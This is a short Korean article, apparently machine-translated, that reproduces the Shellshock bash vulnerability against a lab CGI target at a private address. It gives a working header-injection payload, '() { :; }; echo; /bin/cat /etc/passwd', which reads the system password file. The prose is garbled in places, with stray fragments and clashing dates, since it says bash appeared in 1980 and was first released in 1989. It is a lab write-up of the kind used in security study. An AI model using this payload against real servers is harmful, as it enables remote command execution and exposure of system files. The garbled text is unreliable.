Bourne Again Shell(줄여서 BASH)은 1980년에 탄생한 GNU/Linux에서 가장 인기 있는 SHELL 구현입니다. 수십 년의 발전 끝에 단순한 터미널 명령줄 해석기에서 GNU와 깊이 통합된 해석기로 발전했습니다. 시스템. 다기능 인터페이스.
Bash는 Unix 셸의 일종입니다. 첫 공식 버전은 1989년에 출시됐다. 원래는 GNU 운영체제에서 사용할 예정이었지만, 이를 기본으로 사용하는 리눅스, 맥 OS X v10.4 등 대부분의 유닉스 계열 운영체제에서 실행 가능하다. 껍데기. 또한 Microsoft Windows의 Cygwin 및 MinGW로 포팅되었거나 MS-DOS에서 DJGPP 프로젝트로 사용할 수 있습니다. Novell NetWare 및 Android에도 포트가 있습니다.
현재 Bash에서 사용하는 환경 변수는 함수 이름을 통해 호출됩니다. 취약점의 원인은 ENV 명령에서 "(){"로 시작하는 정의된 환경 변수를 함수로 구문 분석한 후 Bash 실행이 종료되지 않는다는 점입니다. 쉘 명령을 계속 분석하고 실행하는데, 핵심 이유는 입력 필터링에 엄격한 경계가 없고 합법화된 매개변수 판단이 이루어지지 않기 때문입니다.
본 글에서는 취약점 재발만 기록하고 구현합니다.
1. 취약점 환경
링크: http://192.168.101.152:8080/victim.cgi
2. payload
() { :; }; echo; /bin/cat /etc/passwd
이론적으로 원격 명령 실행을 위해 HTTP 요청에 Bash 명령을 삽입할 수 있습니다. 명령
User-Agent가 필요하지 않습니다
<br>
위 내용은 Bash 취약점 재발 분석 예시의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!